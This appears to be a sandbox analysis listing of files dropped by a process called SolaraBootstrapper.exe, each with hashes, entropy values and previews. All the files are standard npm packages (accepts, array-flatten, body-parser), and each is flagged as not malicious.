SHA-512:	A75F9448CC2353BCEDD2718A372B83C0721C1A9057CA365CA11DAD072A09D0DC7EC0BB8A69FA9322E127A52658C42EBE28B5EF4164436259AF3D3734026E06F6
Malicious:	false
Preview:	{. "name": "fileaccess",. "lockfileVersion": 3,. "requires": true,. "packages": {. "node_modules/accepts": {. "version": "1.3.8",. "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",. "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",. "dependencies": {. "mime-types": "~2.1.34",. "negotiator": "0.6.3". },. "engines": {. "node": ">= 0.6". }. },. "node_modules/array-flatten": {. "version": "1.1.1",. "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",. "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==". },. "node_modules/body-parser": {. "version": "1.20.2",. "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.2.tgz",. "integrity": "sha512-ml9pReCu3M61kGlqoTm2umSXTlRTuGTx0bfYj+uIUKKYycG5NtSbeetV3faSU6

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5096
Entropy (8bit):	4.7356362263734955
Encrypted:	false
SSDEEP:	96:se/lRUzCazCZ88Yzi0wWtbIRySLH8dzKCwNOJrI+QUVsWm:hcNi8YwdDFC
MD5:	5577813327E7B93A2E3AED18F3E2833C
SHA1:	58BE8678425511C7CFA60E0EE0F009740EAA4616
SHA-256:	EF66FE7E96FEE5760F153FC5059124EFFA5310895B336585E3A80A93C9F2D9BE
SHA-512:	4318E9D590CE10CF62A5218ADCA86C0FDE7EB6AFB49212BA6085F9D6BD9BEE85294E4E1B1B00A8B80D51771AAFD975CB43CE02A8A2D9463D19A47B64336F9078
Malicious:	false
Preview:	1.3.8 / 2022-02-02.==================.. * deps: mime-types@~2.1.34. - deps: mime-db@~1.51.0. * deps: negotiator@0.6.3..1.3.7 / 2019-04-29.==================.. * deps: negotiator@0.6.2. - Fix sorting charset, encoding, and language with extra parameters..1.3.6 / 2019-04-28.==================.. * deps: mime-types@~2.1.24. - deps: mime-db@~1.40.0..1.3.5 / 2018-02-28.==================.. * deps: mime-types@~2.1.18. - deps: mime-db@~1.33.0..1.3.4 / 2017-08-22.==================.. * deps: mime-types@~2.1.16. - deps: mime-db@~1.29.0..1.3.3 / 2016-05-02.==================.. * deps: mime-types@~2.1.11. - deps: mime-db@~1.23.0. * deps: negotiator@0.6.1. - perf: improve `Accept` parsing speed. - perf: improve `Accept-Charset` parsing speed. - perf: improve `Accept-Encoding` parsing speed. - perf: improve `Accept-Language` parsing speed..1.3.2 / 2016-03-08.==================.. * deps: mime-types@~2.1.10. - Fix extension of `application/dash+xml`. - Upda

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.176199836532222
Encrypted:	false
SSDEEP:	24:voiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:voiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	BF1F9AD1E2E1D507AEF4883FFF7103DE
SHA1:	F027AF3E61AF3880FD7F7B8BA9452A85DD215738
SHA-256:	71F83C4C0621102A56D9853812777B85751BCE7E9726F686F5B056C1F8A4B0E6
SHA-512:	A1A293EB0097FE87875F3BF908CC0B0EE8F15E995C68E984B6A24E247B2E954407D7941EA96ABD7FE002A1BDFB713FDFB0D3839D948A334603F05E644829F606
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4123
Entropy (8bit):	4.91326314825233
Encrypted:	false
SSDEEP:	48:ZdC9AIvI6RZK0nwuBGWxGWwsNdXMoNjP601Wrk0aN8F07DaN89JC7aN8fBfuRhpL:/CnQl0JZ15jue/9IQxokXjwiA0
MD5:	873E624D40D23CF9B54F9D2F74D2C8D1
SHA1:	3A884510D2EEED73A4CD5AE0947A6C72CD3C7426
SHA-256:	C25A1071E5AA1B1B43E10F083E8D97C3DBF1F7700CFA38B5CBC40725662E1AE0
SHA-512:	A929EDEB59EDC6F1EF4F7554DDFD0B1B54AA097D4FDF69C5EC25B14C3C722A034D159DAF3AD38508EFC775FDF8C246507D53021E4AD79F0708C5DF94B311A864
Malicious:	false
Preview:	# accepts..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Higher level content negotiation based on [negotiator](https://www.npmjs.com/package/negotiator)..Extracted from [koa](https://www.npmjs.com/package/koa) for general use...In addition to negotiator, it allows:..- Allows types as an array or arguments list, ie `(['text/html', 'application/json'])`. as well as `('text/html', 'application/json')`..- Allows type shorthands such as `json`..- Returns `false` when no types match.- Treats non-existent headers as `*`..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-local

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5252
Entropy (8bit):	4.893026178912312
Encrypted:	false
SSDEEP:	96:oYG1MGmGHqyl8rAyBkmqFxo+uerpDWMlB8fdOGUJTit4UG9bCZhPwA:oYG1Xlqyl88yBD+uerRLD0YQ4rcZh9
MD5:	4FE4D2C90A2FD19D6E97443A7D24F815
SHA1:	282263F45F6BF80FBF43F4097D53B5B60FF1A05F
SHA-256:	BE2DECBD50610E8F995C1E312EE4DD6D7C1244CFDF03EE4C4A3DA68E572DADA1
SHA-512:	C795B7285CC92616A46FD1AD2D00CE65FB4B269E6B6FC35315891D119B7C25B7F4573540BE0627D577123201D9CFE119C8A53F0E75A8B6EA870F8D89A130C213
Malicious:	false
Preview:	/!. accepts. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var Negotiator = require('negotiator').var mime = require('mime-types')../. Module exports.. * @public. /..module.exports = Accepts../. Create a new Accepts object for the given req.. . @param {object} req. * @public. /..function Accepts (req) {. if (!(this instanceof Accepts)) {. return new Accepts(req). }.. this.headers = req.headers. this.negotiator = new Negotiator(req).}../. Check if the given `type(s)` is acceptable, returning. * the best match when true, otherwise `undefined`, in which. * case you should respond with 406 "Not Acceptable".. . The `type` value may be a single mime type string. * such as "application/json", the extension name. * such as "json" or an array `["json", "html", "text/plain"]`. When a list. * or array is given the _best_ match, if any is returned.. .

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\accepts\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	4.764840639838503
Encrypted:	false
SSDEEP:	24:yH1FBxVWbeXNnuNCHRIZCLlWeq9B0xLVG:yVFXVWbednuNCHRIQUr/0xA
MD5:	32A15D6909FCAE63E52D8664593D32D5
SHA1:	131BA4D63747E6663A9C19409E43AC034BD532CF
SHA-256:	E5716D5D939DB08C5C28EC6AE86ED67BE5320F91089E2673FCA1C5B876E57AA3
SHA-512:	6F0E9FE3D034640B8B2F902A5E336B39D818CEC504A9C52767F5F08D71BB1903B182771625C110F768A8CC540B071A54AFB7810270A09F4EDFE5E35DBA22FE37
Malicious:	false
Preview:	{. "name": "accepts",. "description": "Higher-level content negotiation",. "version": "1.3.8",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "repository": "jshttp/accepts",. "dependencies": {. "mime-types": "~2.1.34",. "negotiator": "0.6.3". },. "devDependencies": {. "deep-equal": "1.0.1",. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.3.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.0",. "nyc": "15.1.0". },. "files": [. "LICENSE",. "HISTORY.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm te

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\array-flatten\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1103
Entropy (8bit):	5.13317512688003
Encrypted:	false
SSDEEP:	24:bNtrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bNtaJHlxE35QHOs5exm3ogF5n
MD5:	44088BA57CB871A58ADD36CE51B8DE08
SHA1:	3A7F886B632D2197676A40020D354E84B7860604
SHA-256:	4EEB3271453A891DF609E5A9F4EE79A68307F730C13417A3BFEFFA604AC8CF25
SHA-512:	6D8B9708BFA1F3CFA2B63F90152CB6F26960C2BA54FA11A16C13E1D5A3F85F4121516699025B6B759E051B276509B1D69510B644241434E6F8F81B3DFA5A8E63
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2014 Blake Embrey (hello@blakeembrey.com)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\array-flatten\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1245
Entropy (8bit):	5.127650590620066
Encrypted:	false
SSDEEP:	24:E+q3S7Rm3omV60J5Z9ZIH1ZmIzrxvMohI4XFHOqW6mxw+N+k:/q38R7wnZ9ZIH1Zdaq7mqA/
MD5:	328FDAF1EE65869341567F4FB6716E02
SHA1:	98EFA9E4BD6D6BCA4EBB76991A2187A8A496C8B6
SHA-256:	071DD896356DA12269508F361958EC622E47B27A96D7EFDBA23B671BC3470416
SHA-512:	40378EEEB21474E8BE2962853B1D279AB8E167E68EBAD08AE4E7932C131DA317672852916BCC1000EC43A0163653C45158A9A8BE819B4A6479163AC8C5391CA5
Malicious:	false
Preview:	# Array Flatten..[![NPM version][npm-image]][npm-url].[![NPM downloads][downloads-image]][downloads-url].[![Build status][travis-image]][travis-url].[![Test coverage][coveralls-image]][coveralls-url]..> Flatten an array of nested arrays into a single flat array. Accepts an optional depth...## Installation..```.npm install array-flatten --save.```..## Usage..```javascript.var flatten = require('array-flatten')..flatten([1, [2, [3, [4, [5], 6], 7], 8], 9]).//=> [1, 2, 3, 4, 5, 6, 7, 8, 9]..flatten([1, [2, [3, [4, [5], 6], 7], 8], 9], 2).//=> [1, 2, 3, [4, [5], 6], 7, 8, 9]..(function () {. flatten(arguments) //=> [1, 2, 3].})(1, [2, 3]).```..## License..MIT..[npm-image]: https://img.shields.io/npm/v/array-flatten.svg?style=flat.[npm-url]: https://npmjs.org/package/array-flatten.[downloads-image]: https://img.shields.io/npm/dm/array-flatten.svg?style=flat.[downloads-url]: https://npmjs.org/package/array-flatten.[travis-image]: https://img.shields.io/travis/blakeembrey/array-flatten.svg?s

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\array-flatten\array-flatten.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	4.593208401290555
Encrypted:	false
SSDEEP:	24:GQQBqdOu0rErWuyeIMvR67dCSbUgMMfmO0rEg2r:GQQUiordyeIMvR+ggMMfAog2r
MD5:	4B17FA06C54846B686B8B799E9DD253A
SHA1:	FC6CC30E8B8EC09EEBA62BAC076ED627AA3EE8D1
SHA-256:	766CA145B6D25E3D60F352A716E8FA1876BCDF362C0767C360CF24F335BC281E
SHA-512:	72DF1668F464F6942C484155B667086BB6F83F77E826FFCD146EE045079DB3334ABA270BFFB66CDD796D4C9308121EC2A67A404289F19914C45D9A6C15435E71
Malicious:	false
Preview:	'use strict'../*. Expose `arrayFlatten`.. /.module.exports = arrayFlatten../. Recursive flatten function with depth.. . @param {Array} array. * @param {Array} result. * @param {Number} depth. * @return {Array}. /.function flattenWithDepth (array, result, depth) {. for (var i = 0; i < array.length; i++) {. var value = array[i].. if (depth > 0 && Array.isArray(value)) {. flattenWithDepth(value, result, depth - 1). } else {. result.push(value). }. }.. return result.}../. Recursive flatten function. Omitting depth is slightly faster.. . @param {Array} array. * @param {Array} result. * @return {Array}. /.function flattenForever (array, result) {. for (var i = 0; i < array.length; i++) {. var value = array[i].. if (Array.isArray(value)) {. flattenForever(value, result). } else {. result.push(value). }. }.. return result.}../. Flatten an array, with the ability to define a depth.. . @param {Array} array. * @

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\array-flatten\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	4.681228780713186
Encrypted:	false
SSDEEP:	12:xXr1i1Dqly283i24JV//GnObmF2sbOj8RJuj3PzS+bHdq1clPsOhs6CU3wWanr:1r1iFYdS0/YCWIrSSE6XC1War
MD5:	CB1AA7F817100A03395DD0163BF6EBE9
SHA1:	FC51B89D0FB7CC640A0495BAA4005364E83718C3
SHA-256:	5C5E0E10CFA23F163D1FE68AA57A881D09CAC39D720E1361C697B86C4D33E0F5
SHA-512:	81FFEE7B54B11B42AAEEAF1B6FB13AC64E8900E94FFD249FE075C183C3ADF8E8451529D82F6A13216C73E5D1A1F57D703D9FCF1E61674020D93B15066D37DC75
Malicious:	false
Preview:	{. "name": "array-flatten",. "version": "1.1.1",. "description": "Flatten an array of nested arrays into a single flat array",. "main": "array-flatten.js",. "files": [. "array-flatten.js",. "LICENSE". ],. "scripts": {. "test": "istanbul cover _mocha -- -R spec". },. "repository": {. "type": "git",. "url": "git://github.com/blakeembrey/array-flatten.git". },. "keywords": [. "array",. "flatten",. "arguments",. "depth". ],. "author": {. "name": "Blake Embrey",. "email": "hello@blakeembrey.com",. "url": "http://blakeembrey.me". },. "license": "MIT",. "bugs": {. "url": "https://github.com/blakeembrey/array-flatten/issues". },. "homepage": "https://github.com/blakeembrey/array-flatten",. "devDependencies": {. "istanbul": "^0.3.13",. "mocha": "^2.2.4",. "pre-commit": "^1.0.7",. "standard": "^3.7.3". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16491
Entropy (8bit):	4.906122072590963
Encrypted:	false
SSDEEP:	192:hLe1CTDXdB88EQizOhoY3lxMNqRWY39GzBAhL/7AcG6y+GoFpN8E:ha1CTDXdB5hr3lWgxsFA97Z7FpN8E
MD5:	94E1766ABF915C225DEB8E3B0FCA3EA8
SHA1:	F243DA6E908C86D71C1C2C29C633165742F2ACC3
SHA-256:	78FB65863EA5E13764FD0F68815B5F3DB3CACF46CFD2D6958D2D1770FC138F01
SHA-512:	F70A796430CBF5CC271D9394968FB591FC546184E3735E7996825C216890C0A64A391BA694A73D8DB94996651F2E103F9E2FEB4E6EB562BFD373220E8A7C4788
Malicious:	false
Preview:	1.20.2 / 2023-02-21.===================.. * Fix strict json error message on Node.js 19+. * deps: content-type@~1.0.5. - perf: skip value escaping when unnecessary. * deps: raw-body@2.5.2..1.20.1 / 2022-10-06.===================.. * deps: qs@6.11.0. * perf: remove unnecessary object clone..1.20.0 / 2022-04-02.===================.. * Fix error message for json parse whitespace in `strict`. * Fix internal error when inflated body exceeds limit. * Prevent loss of async hooks context. * Prevent hanging when request already read. * deps: depd@2.0.0. - Replace internal `eval` usage with `Function` constructor. - Use instance methods on `process` to check for listeners. * deps: http-errors@2.0.0. - deps: depd@2.0.0. - deps: statuses@2.0.1. * deps: on-finished@2.4.1. * deps: qs@6.10.3. * deps: raw-body@2.5.1. - deps: http-errors@2.0.0..1.19.2 / 2022-02-15.===================.. * deps: bytes@3.1.2. * deps: qs@6.9.7. * Fix handling of `__proto__` keys. * dep

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.194993512942844
Encrypted:	false
SSDEEP:	24:vSiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:vSiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	0AFD201E48C7D095454EED4AC1184E40
SHA1:	6A4ED3B5E9CFF68AF7593DFCB8BE3C1CBEA837D0
SHA-256:	23D466B1B134B415B66FA50C6526B4CF3E7B9258554DA88D3ABB371721E7CE68
SHA-512:	EBC137C01C13DA9D90FD411729B10CB15E6B7EA3F31A6B9DD23D0A769AEFE61CBEA7368C36698B0D562E85DCA08EBCAA59996F9653295A1C79252CBA3DA3D3AD
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014-2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18182
Entropy (8bit):	4.801523094628893
Encrypted:	false
SSDEEP:	192:eBmKv7ygazeyidkShRvtlgem3x1A6H9wSu9kYPaDpIQVf3X/R0yV2aaX2JC/vuZA:xKFO4d/63TA6H9i9bSDKqvXpqmC
MD5:	3152126CD7D54EDE5697046E69A7E589
SHA1:	3C8820C682CC2E043465D9AAFBE1E182571E941F
SHA-256:	1A8C31593D425887DF10E400A765D3F86F3B195B4EFDCCD44FF4AA542C03380B
SHA-512:	73B3C1FA28E96F744E7E6A58A13D6C5B31646CF06FE47895C226ED61198C5C2BCD4A2DC0C4447DE54EA15D5D56D7E330AD1335B3659598CC576A88E791C16358
Malicious:	false
Preview:	# body-parser..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Node.js body parsing middleware...Parse incoming request bodies in a middleware before your handlers, available.under the `req.body` property...Note As `req.body`'s shape is based on user-controlled input, all.properties and values in this object are untrusted and should be validated.before trusting. For example, `req.body.foo.toString()` may fail in multiple.ways, for example the `foo` property may not be there or may not be a string,.and `toString` may not be a function and instead a string or other user input...[Learn about the anatomy of an HTTP transaction in Node.js](https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/)..._This does not handle multipart bodies_, due to their complex and typically.large nature. For multipart bodies, you may be interested in the following

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\SECURITY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	4.490786258962321
Encrypted:	false
SSDEEP:	24:1tAcoSZ8gGzjoKHb6YIKWJrDF925a/7kJyEyF0eOCYunEfu7WR:1tVS/tbdIga/7xPYun7WR
MD5:	0661686D08E2F4E6DA6AC771712A9B6C
SHA1:	15CEEA114823DAFB83860895B0779FCADB115653
SHA-256:	0448FF6C00A9D808B70C4ADBA9E6C6E1D81569BBB0ABCB335E1DD6F453B83334
SHA-512:	C14ED4926C9D5230B4E5EC8C6CE710354E488B7357970079FF5BA45F65D6FAD9E3F178888ECA97240133EAD341429AE6458580838A48636451ED41C29B351312
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The Express team and community take all security bugs seriously. Thank you.for improving the security of Express. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owner(s) of `body-parser`. This.information can be found in the npm registry using the command.`npm owner ls body-parser`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/expressjs/body-parser/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.your report

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.724146691373171
Encrypted:	false
SSDEEP:	48:1FdMUJqE7rArelsWxYAsprpAkZqlprpAY8prpAQGprpAwBwWNiCp7pM9zDVKvWlt:1FzqEPselsWeAstGSqltGY8tGQGtGwBO
MD5:	B9E991C0E57C4D5ADDE68A2F4F063BC7
SHA1:	0CB6B9EB7B310C37E5950BBCAF672943657C94B5
SHA-256:	9C6C900E7E85FB599C62D9B9E4DFD2EA2F61D119DCE5ED69AC3A8DA828819241
SHA-512:	3BBD31EED55C32435B01FE7356D39749E95F8F49222115ADA841E751AD36227E6F427EFDC4E8BAD36D8CCD37C2E92C01FA67C24C23F52023DF8C1E1BE1A3B4F6
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var deprecate = require('depd')('body-parser')../. Cache of loaded parsers.. * @private. /..var parsers = Object.create(null)../. @typedef Parsers. * @type {function}. * @property {function} json. * @property {function} raw. * @property {function} text. * @property {function} urlencoded. /../. Module exports.. * @type {Parsers}. /..exports = module.exports = deprecate.function(bodyParser,. 'bodyParser: use individual json/urlencoded middlewares')../. JSON parser.. * @public. /..Object.defineProperty(exports, 'json', {. configurable: true,. enumerable: true,. get: createParserGetter('json').})../. Raw parser.. * @public. /..Object.defineProperty(exports, 'raw', {. configurable: true,. enumerable: true,. get: createParserGetter('raw').})../. Text parser.. * @public. */..Object.defineProperty(exports, 't

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\read.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4325
Entropy (8bit):	4.621879737023549
Encrypted:	false
SSDEEP:	96:1F2ISKMGJ0n9WbOaHSb+IR1+GFQBnPQCbfkZ/OPqgVB9OuCyMQ:1FwZYbhHSb9R1+GFQBICbfkWVBqlQ
MD5:	C148BB38C59CE266E271C96AB1F2D192
SHA1:	027F3FBD8A5370DDEC744D33EC9D594DB41F6293
SHA-256:	1E9E274755366C39AE70E8B9A7A42FC12219566E67EFAF9B7EBC2A8B337F5B6B
SHA-512:	BC4779CDA1A3B130EB8CF76BB40676046CEB514DDC5C1891D7324776E6188E5D5CEB4C0799CF2FBC007786849ED07903CB59F61FFCAC407300EEF0A16CB7C498
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var createError = require('http-errors').var destroy = require('destroy').var getBody = require('raw-body').var iconv = require('iconv-lite').var onFinished = require('on-finished').var unpipe = require('unpipe').var zlib = require('zlib')../. Module exports.. /..module.exports = read../. Read a request into a buffer and parse.. . @param {object} req. * @param {object} res. * @param {function} next. * @param {function} parse. * @param {function} debug. * @param {object} options. * @private. */..function read (req, res, next, parse, debug, options) {. var length. var opts = options. var stream.. // flag as parsed. req._body = true.. // read options. var encoding = opts.encoding !== null. ? opts.encoding. : null. var verify = opts.verify.. try {. // get the content stream. stream = contentstream(req, debug

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\types\json.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5299
Entropy (8bit):	4.88521461099306
Encrypted:	false
SSDEEP:	96:1F+Graz+dz1PbSDp2qjlvqzi+QBYwxcG5l+NbkAZiVl7g6A4QYSR:1F+Graz8TUj0mx+wOgybriVZg6ffSR
MD5:	6B036408F968978BF9668496DB9953BA
SHA1:	AF1F14428152576F1C047C3462D26A7FEB98635A
SHA-256:	44F8B529333004E2AAFF6DB3A1DBE7068F1AC5FA1173E9634686A78C2262AF35
SHA-512:	89BEF97D3D5D0C8DA0F3AA1E178FEE1D04EEE5200C2F037BD55761A61E6C6A251F7314E82343761EF227A997909F4A0237A3FF5F79A1A7BB9E879A465AB84F86
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var bytes = require('bytes').var contentType = require('content-type').var createError = require('http-errors').var debug = require('debug')('body-parser:json').var read = require('../read').var typeis = require('type-is')../. Module exports.. /..module.exports = json../. RegExp to match the first non-space in a string.. . Allowed whitespace is defined in RFC 7159:. . ws = (. %x20 / ; Space. * %x09 / ; Horizontal tab. * %x0A / ; Line feed or New line. * %x0D ) ; Carriage return. /..var FIRST_CHAR_REGEXP = /^[\x20\x09\x0a\x0d]([^\x20\x09\x0a\x0d])/ // eslint-disable-line no-control-regex..var JSON_SYNTAX_CHAR = '#'.var JSON_SYNTAX_REGEXP = /#+/g../*. Create a middleware to parse JSON

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\types\raw.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1884
Entropy (8bit):	4.734957205525373
Encrypted:	false
SSDEEP:	48:1FdMU1sdsz5XSaS+PTAzZmm5ZJp2p3zyxdEBYwWdk7cGMdIeUpnm5JkXY2xR:1F32Q5TSvp2p3+QBYwxcGzbJqQYSR
MD5:	ACB38E4FE575AFAF8D1A257E47C6E362
SHA1:	EA7411FF5A71DF8D426322D07103E5894630E29B
SHA-256:	4E9CC80A7EE8BD667C68C264B4C374B28E731246DDB6EC22C3968DAF837E30A2
SHA-512:	157427AD25390339B045B9BB81753709498B69B2CC8B9C918C19D52D1CB4F6BBE5B6B07885D0A7F66EF359B7080DC9A42216F71911B08ADE04C1A112192BFF50
Malicious:	false
